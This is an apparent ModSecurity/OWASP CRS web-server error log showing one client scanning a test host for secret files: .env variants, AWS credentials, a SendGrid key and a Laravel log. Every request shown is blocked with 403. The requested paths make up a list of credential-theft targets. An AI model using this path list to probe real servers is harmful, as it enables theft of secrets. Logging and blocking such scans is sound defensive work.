[Tue Aug 05 11:03:46.523967 2025] [:error] [pid 1720191] [client 185.177.72.115:18472] [client 185.177.72.115] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/s3/.aws/config.json&quot;] [unique_id &quot;aJHI8lgw4HLFH7L0P7lYcgAAABA&quot;]
[Tue Aug 05 11:03:46.546368 2025] [:error] [pid 1720191] [client 185.177.72.115:18472] [client 185.177.72.115] ModSecurity: Warning. Matched phrase &quot;.aws/credentials&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: .aws/credentials found within REQUEST_FILENAME: /s3/.aws/credentials&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/s3/.aws/credentials&quot;] [unique_id &quot;aJHI8lgw4HLFH7L0P7lYcwAAABA&quot;]
[Tue Aug 05 11:03:46.546551 2025] [:error] [pid 1720191] [client 185.177.72.115:18472] [client 185.177.72.115] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/s3/.aws/credentials&quot;] [unique_id &quot;aJHI8lgw4HLFH7L0P7lYcwAAABA&quot;]
[Tue Aug 05 11:03:46.546695 2025] [:error] [pid 1720191] [client 185.177.72.115:18472] [client 185.177.72.115] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/s3/.aws/credentials&quot;] [unique_id &quot;aJHI8lgw4HLFH7L0P7lYcwAAABA&quot;]
[Tue Aug 05 11:03:46.569054 2025] [:error] [pid 1720191] [client 185.177.72.115:18472] [client 185.177.72.115] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /s3/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/s3/.env&quot;] [unique_id &quot;aJHI8lgw4HLFH7L0P7lYdAAAABA&quot;]
[Tue Aug 05 11:03:46.569248 2025] [:error] [pid 1720191] [client 185.177.72.115:18472] [client 185.177.72.115] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/s3/.env&quot;] [unique_id &quot;aJHI8lgw4HLFH7L0P7lYdAAAABA&quot;]
[Tue Aug 05 11:03:46.569417 2025] [:error] [pid 1720191] [client 185.177.72.115:18472] [client 185.177.72.115] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/s3/.env&quot;] [unique_id &quot;aJHI8lgw4HLFH7L0P7lYdAAAABA&quot;]
[Tue Aug 05 11:03:46.591808 2025] [:error] [pid 1720191] [client 185.177.72.115:18472] [client 185.177.72.115] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/s3/.env.bak&quot;] [unique_id &quot;aJHI8lgw4HLFH7L0P7lYdQAAABA&quot;]
[Tue Aug 05 11:03:46.591944 2025] [:error] [pid 1720191] [client 185.177.72.115:18472] [client 185.177.72.115] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /s3/.env.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/s3/.env.bak&quot;] [unique_id &quot;aJHI8lgw4HLFH7L0P7lYdQAAABA&quot;]
[Tue Aug 05 11:03:46.592129 2025] [:error] [pid 1720191] [client 185.177.72.115:18472] [client 185.177.72.115] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/s3/.env.bak&quot;] [unique_id &quot;aJHI8lgw4HLFH7L0P7lYdQAAABA&quot;]
[Tue Aug 05 11:03:46.592285 2025] [:error] [pid 1720191] [client 185.177.72.115:18472] [client 185.177.72.115] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/s3/.env.bak&quot;] [unique_id &quot;aJHI8lgw4HLFH7L0P7lYdQAAABA&quot;]
[Tue Aug 05 11:03:47.092746 2025] [:error] [pid 1720191] [client 185.177.72.115:18472] [client 185.177.72.115] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /secret/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/secret/.env&quot;] [unique_id &quot;aJHI81gw4HLFH7L0P7lYgAAAABA&quot;]
[Tue Aug 05 11:03:47.092991 2025] [:error] [pid 1720191] [client 185.177.72.115:18472] [client 185.177.72.115] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/secret/.env&quot;] [unique_id &quot;aJHI81gw4HLFH7L0P7lYgAAAABA&quot;]
[Tue Aug 05 11:03:47.093162 2025] [:error] [pid 1720191] [client 185.177.72.115:18472] [client 185.177.72.115] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/secret/.env&quot;] [unique_id &quot;aJHI81gw4HLFH7L0P7lYgAAAABA&quot;]
[Tue Aug 05 11:03:47.233147 2025] [:error] [pid 1720191] [client 185.177.72.115:18472] [client 185.177.72.115] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.key&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/sendgrid.key&quot;] [unique_id &quot;aJHI81gw4HLFH7L0P7lYhgAAABA&quot;]
[Tue Aug 05 11:03:47.233479 2025] [:error] [pid 1720191] [client 185.177.72.115:18472] [client 185.177.72.115] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/sendgrid.key&quot;] [unique_id &quot;aJHI81gw4HLFH7L0P7lYhgAAABA&quot;]
[Tue Aug 05 11:03:47.233647 2025] [:error] [pid 1720191] [client 185.177.72.115:18472] [client 185.177.72.115] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/sendgrid.key&quot;] [unique_id &quot;aJHI81gw4HLFH7L0P7lYhgAAABA&quot;]
[Tue Aug 05 11:03:47.326323 2025] [:error] [pid 1720191] [client 185.177.72.115:18472] [client 185.177.72.115] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /server/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/server/.env&quot;] [unique_id &quot;aJHI81gw4HLFH7L0P7lYigAAABA&quot;]
[Tue Aug 05 11:03:47.326550 2025] [:error] [pid 1720191] [client 185.177.72.115:18472] [client 185.177.72.115] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/server/.env&quot;] [unique_id &quot;aJHI81gw4HLFH7L0P7lYigAAABA&quot;]
[Tue Aug 05 11:03:47.326699 2025] [:error] [pid 1720191] [client 185.177.72.115:18472] [client 185.177.72.115] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/server/.env&quot;] [unique_id &quot;aJHI81gw4HLFH7L0P7lYigAAABA&quot;]
[Tue Aug 05 11:03:48.180270 2025] [:error] [pid 1720192] [client 185.177.72.115:18484] [client 185.177.72.115] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.log&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/storage/logs/laravel.log&quot;] [unique_id &quot;aJHI9Csui0BrQ5itqPqJ-AAAABE&quot;]
[Tue Aug 05 11:03:48.180608 2025] [:error] [pid 1720192] [client 185.177.72.115:18484] [client 185.177.72.115] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/storage/logs/laravel.log&quot;] [unique_id &quot;aJHI9Csui0BrQ5itqPqJ-AAAABE&quot;]
[Tue Aug 05 11:03:48.180781 2025] [:error] [pid 1720192] [client 185.177.72.115:18484] [client 185.177.72.115] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/storage/logs/laravel.log&quot;] [unique_id &quot;aJHI9Csui0BrQ5itqPqJ-AAAABE&quot;]
[Tue Aug 05 11:03:48.200878 2025] [:error] [pid 1720192] [client 185.177.72.115:18484] [client 185.177.72.115] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /symfony/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/symfony/.env&quot;] [unique_id &quot;aJHI9Csui0BrQ5itqPqJ-QAAABE&quot;]
[Tue Aug 05 11:03:48.201113 2025] [:error] [pid 1720192] [client 185.177.72.115:18484] [client 185.177.72.115] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/symfony/.env&quot;] [unique_id &quot;aJHI9Csui0BrQ5itqPqJ-QAAABE&quot;]
[Tue Aug 05 11:03:48.201281 2025] [:error] [pid 1720192] [client 185.177.72.115:18484] [client 185.177.72.115] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/symfony/.env&quot;] [unique_id &quot;aJHI9Csui0BrQ5itqPqJ-QAAABE&quot;]
[Tue Aug 05 11:03:48.221598 2025] [:error] [pid 1720192] [client 185.177.72.115:18484] [client 185.177.72.115] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /terraform/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/terraform/.env&quot;] [unique_id &quot;aJHI9Csui0BrQ5itqPqJ-gAAABE&quot;]
[Tue Aug 05 11:03:48.221835 2025] [:error] [pid 1720192] [client 185.177.72.115:18484] [client 185.177.72.115] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/terraform/.env&quot;] [unique_id &quot;aJHI9Csui0BrQ5itqPqJ-gAAABE&quot;]
[Tue Aug 05 11:03:48.222054 2025] [:error] [pid 1720192] [client 185.177.72.115:18484] [client 185.177.72.115] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/terraform/.env&quot;] [unique_id &quot;aJHI9Csui0BrQ5itqPqJ-gAAABE&quot;]
[Tue Aug 05 11:03:48.552689 2025] [:error] [pid 1720192] [client 185.177.72.115:18484] [client 185.177.72.115] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /test/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test/.env&quot;] [unique_id &quot;aJHI9Csui0BrQ5itqPqJ-wAAABE&quot;]
[Tue Aug 05 11:03:48.552941 2025] [:error] [pid 1720192] [client 185.177.72.115:18484] [client 185.177.72.115] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test/.env&quot;] [unique_id &quot;aJHI9Csui0BrQ5itqPqJ-wAAABE&quot;]
